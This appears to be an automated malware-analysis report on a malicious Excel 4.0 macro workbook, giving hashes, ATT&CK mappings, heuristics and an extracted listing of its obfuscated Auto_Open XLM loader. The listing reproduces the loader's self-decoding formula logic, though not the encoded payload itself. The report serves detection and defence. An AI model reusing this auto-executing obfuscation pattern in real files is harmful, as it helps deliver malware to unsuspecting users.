Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 97825ee18d265d68…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:45:17 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: 42b22728b79b3746341581a8a441bfff SHA-1: bd4b50c5f0ae3149bcccc25e53f62605bdffaafb SHA-256: 97825ee18d265d68043ba1d106e92b6f3e6b48f330b14996c55b1d605fadc116
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro-enabled workbook detected with critical heuristics for Auto_Open execution and the use of dangerous formula APIs, specifically the RUN function. This indicates the workbook is designed to automatically execute code upon opening, a common technique for delivering malware. The presence of the Auto_Open defined name and the use of the RUN function strongly suggest the macro attempts to download and execute a second-stage payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6397 bytes
SHA-256: fc4c584ba7e8b5b4362a2d0c0e765d30a72aa4f9d3a050e0cd72cf8bb2cf0d09
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  RUk
' 0018     27 LABEL : Cell Value, String Constant - ARZCKtLgwGVK len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I166 
' 0018     22 LABEL : Cell Value, String Constant - BtwoPyM len=0 
' 0018     27 LABEL : Cell Value, String Constant - ceNewfDtaAVo len=0 
' 0018     26 LABEL : Cell Value, String Constant - hkBNdzEaMQE len=0 
' 0018     20 LABEL : Cell Value, String Constant - JSXoO len=0 
' 0018     23 LABEL : Cell Value, String Constant - jxvcIqzj len=0 
' 0018     21 LABEL : Cell Value, String Constant - lKZJIY len=0 
' 0018     20 LABEL : Cell Value, String Constant - oPiQf len=0 
' 0018     25 LABEL : Cell Value, String Constant - PpEeNulGEL len=0 
' 0018     27 LABEL : Cell Value, String Constant - qcvGWQtKfNEF len=0 
' 0018     24 LABEL : Cell Value, String Constant - qUJQhxHsb len=0 
' 0018     22 LABEL : Cell Value, String Constant - shrbKiz len=0 
' 0018     20 LABEL : Cell Value, String Constant - TMCkN len=0 
' 0018     21 LABEL : Cell Value, String Constant - Uufamn len=0 
' 0018     27 LABEL : Cell Value, String Constant - vGNZaTdiTedo len=0 
' 0018     20 LABEL : Cell Value, String Constant - WdNUb len=0 
' 0018     22 LABEL : Cell Value, String Constant - wkolvRo len=0 
' 0018     23 LABEL : Cell Value, String Constant - WRNBjmai len=0 
' 0018     20 LABEL : Cell Value, String Constant - wsxQn len=0 
' 0018     23 LABEL : Cell Value, String Constant - XPsNaNRe len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  RUk,I70,"SET.NAME("shrbKiz",VALUE("0"))",""
'  RUk,I73,"SET.NAME("qUJQhxHsb",shrbKiz)",""
'  RUk,I78,"SET.NAME("qcvGWQtKfNEF",shrbKiz)",""
'  RUk,I82,"SET.NAME("jxvcIqzj",COUNTA(TMCkN))",""
'  RUk,I87,"SET.NAME("wsxQn",COUNTA(JSXoO))",""
'  RUk,I92,[],""
'  RUk,I94,"SET.NAME("Uufamn","")",""
'  RUk,I98,"qUJQhxHsb",""
'  RUk,I103,"SET.NAME("lKZJIY",HLOOKUP("*",TMCkN,qUJQhxHsb,FALSE))",""
'  RUk,I107,"ceNewfDtaAVo",""
'  RUk,I111,"SET.NAME("PpEeNulGEL",shrbKiz)",""
'  RUk,I115,[],""
'  RUk,I118,"PpEeNulGEL",""
'  RUk,I123,"wkolvRo",""
'  RUk,I125,"oPiQf",""
'  RUk,I128,"WdNUb",""
'  RUk,I131,"SET.NAME("XPsNaNRe",VALUE(HLOOKUP("*",JSXoO,WdNUb,FALSE)))",""
'  RUk,I136,"hkBNdzEaMQE",""
'  RUk,I139,"Uufamn",""
'  RUk,I142,"qcvGWQtKfNEF",""
'  RUk,I147,NEXT(),""
'  RUk,I149,"vGNZaTdiTedo",""
'  RUk,I154,"SET.NAME("f",INT(T(FORMULA(T(Uufamn)&"",""&T(vGNZaTdiTedo)))))",""
'  RUk,I157,"WRNBjmai",""
'  RUk,I159,NEXT(),""
'  RUk,I161,RETURN(),""
'  RUk,I190,"SET.NAME("ARZCKtLgwGVK",I70)",""
'  RUk,I195,"TMCkN",""
'  RUk,I197,"SET.NAME("JSXoO",R94C13)",""
'  RUk,I199,"SET.NAME("WRNBjmai",209)",""
'  RUk,I204,"SET.NAME("BtwoPyM",9)",""
'  RUk,I208,ARZCKtLgwGVK(),""
'  RUk,I209,HALT(),""